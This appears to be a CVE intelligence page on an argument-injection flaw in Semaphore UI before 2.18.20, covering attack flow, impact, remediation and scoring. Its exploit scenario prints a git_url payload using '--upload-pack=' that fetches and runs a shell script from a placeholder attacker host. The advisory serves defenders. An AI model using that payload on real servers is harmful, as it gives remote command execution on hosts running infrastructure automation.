Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as project Manager or Owner
-
DeliveryCreate or edit repository with --upload-pack= payload in git_url
-
ExploitTrigger repository clone or fetch operation
-
Executioncmd_git passes unsanitized argument to system git binary
-
ImpactArbitrary shell command executes on Semaphore server host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
|
| Exploitation Conditions | The attacker must be authenticated to Semaphore and hold the Manager or Owner role on at least one project - the standard Member role is insufficient to modify repository git_url values. The Semaphore server must be using the default cmd_git client rather than an alternative git backend. Exploitation is triggered when the server executes a repository operation (clone, fetch, or equivalent) against the attacker-controlled git_url, which may occur automatically on a scheduled basis or when manually triggered through the Semaphore web UI. No non-default server configuration is required beyond the presence of a system git binary accessible to the Semaphore process. Unauthenticated exploitation is not possible per the CVSS PR:L vector; an external attacker without a Manager or Owner account must first compromise one to proceed. The key limiting factors are: authenticated access required, elevated project role required (Manager or Owner), and the need to trigger a git repository operation against the malicious URL. |
| Impact | The CVSS 4.0 base score of 8.7 (AV:N/AC:L/AT:N/PR:L) correctly characterizes a high-severity, network-exploitable vulnerability gated solely by possession of a Manager or Owner role on any project - a condition common in multi-user team deployments. The attack complexity is low and no attack-requirement prerequisites beyond role possession apply, meaning the technical barrier after initial access is minimal. Even a mid-sized municipal IT team in tczew that relies on Semaphore to automate infrastructure provisioning should treat this as urgent remediation, since Semaphore processes routinely run with elevated OS permissions to invoke Ansible and Terraform against managed hosts, amplifying the blast radius of any code injection. No EPSS data was provided, and this CVE does not appear in the CISA KEV catalog, so widespread active exploitation has not been confirmed - however, the --upload-pack technique requires no novel research and is trivially reproducible. The primary risk-limiting factor is authentication: an unauthenticated external attacker cannot exploit this directly without first compromising a Manager or Owner account. Organizations where these roles are broadly granted across large teams face the widest realistic exposure surface. |
| Exploit ScenarioDerived | An attacker holding the Manager or Owner role on any Semaphore project edits or creates a repository entry and sets the git_url field to a value such as --upload-pack=curl${IFS}attacker.example/shell.sh|bash. When Semaphore's backend triggers a git fetch or clone operation against that repository - whether manually initiated or scheduled - the cmd_git client passes the injected argument verbatim to the system git binary, which executes the embedded shell command under the Semaphore server process's OS account. No public exploit code has been confirmed at time of analysis, but the --upload-pack argument injection technique is well-documented and requires no specialized tooling to reproduce. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 14, 2026
Remote code execution in Semaphore prior to version 2.18.20 allows authenticated project Managers and Owners to execute arbitrary shell commands on the Semaphore server host by injecting git arguments through a crafted repository git_url value. The root cause (CWE-88, Argument Injection) lies in the default cmd_git client passing user-supplied input unsanitized to the system git binary, enabling exploitation via git's --upload-pack= option to specify an arbitrary server-side command. No public exploit code has been confirmed at time of analysis, but the --upload-pack argument injection technique is extensively documented in open-source security research and requires no specialized tooling for any holder of the requisite project role.
RemediationAI
Upgrade Semaphore to version 2.18.20 or later, which incorporates the fix at commit 5d87656a680600125fe78edec1f7a0d10484b52c; full details are in the vendor advisory at https://github.com/semaphoreui/semaphore/security/advisories/GHSA-xp7j-h7jc-4w8p. If an immediate upgrade is not feasible, restrict Manager and Owner role assignments to the minimum set of fully trusted personnel - reducing the population of users who can supply repository git_url values is the most targeted available compensating control, though it does not eliminate the underlying vulnerability and may affect team workflow. Audit all existing repository git_url entries for argument-injection patterns such as --upload-pack=, --exec=, or other git option prefixes, and remove or sanitize any suspicious values. There is no known configuration option to disable git_url processing entirely without disabling core Semaphore repository integration, so role restriction combined with expedited patching is the recommended posture.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Semaphore (CPE: cpe:2.3:a:semaphoreui:semaphore:*:*:*:*:*:*:*:*) is a Go-based open-source web UI for orchestrating Ansible, Terraform, Bash, and similar automation workloads backed by Git repository integration. Its default cmd_git client constructs and dispatches system git subprocess calls to perform repository operations such as clone and fetch. CWE-88 (Argument Injection or Modification) manifests when user-controlled data is embedded verbatim in subprocess argument lists without sanitization: git's --upload-pack= flag permits specifying an arbitrary command to execute on the server side during pack-file negotiation, meaning a git_url value prefixed with --upload-pack=malicious_command causes git to treat the payload as a legitimate option and execute the embedded shell command under the Semaphore process identity. The remediation commit 5d87656a introduces ValidatePlaybookPath to enforce relative-path constraints on playbook and task fields, addressing a path-traversal component; whether git_url argument sanitization is included in this same commit or a companion change should be confirmed against the full 2.18.20 release changelog.
Know when Semaphore gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-exploitable via low-privilege project role (PR:L); OS-level command injection escapes the application boundary to the host, warranting S:C with full C/I/A impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
Semaphore versions prior to 2.18.20 contain an OS command injection (argument injection) vulnerability in the repository git_url handling that allows authenticated users holding the Manager or Owner role on any project to achieve remote code execution on the Semaphore server host. Attackers can craft a malicious git_url value using git's --upload-pack= option to inject and execute arbitrary shell commands when the server processes repository operations using the default cmd_git client.
Executive ViewAI
Semaphore CI/CD platform versions prior to 2.18.20 allow authenticated project administrators to execute arbitrary commands on the build server through malicious repository configurations, creating a direct path for insider threats or compromised accounts to control the pipeline environment. This vulnerability enables theft of build secrets, manipulation of deployment artifacts, and potential delivery of compromised code to production systems.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Argument (git option) injection in Semaphore UI before 2.18.17 and 2.19.5-beta2 lets a project Manager or Owner achieve
Password takeover in Semaphore UI prior to version 2.18.21 enables an unauthenticated attacker to reset any authenticate
Semaphore UI through 2.19.12 fails to enforce project-level resource permissions on GET and HEAD requests in its GetMust
Privilege escalation in Semaphore UI allows an authenticated project manager to gain owner-level project control by expl
EUVD-2026-58809
GHSA-93jq-5gw9-rx3q
NVD
CVE.org
EPSS
Exploit-DB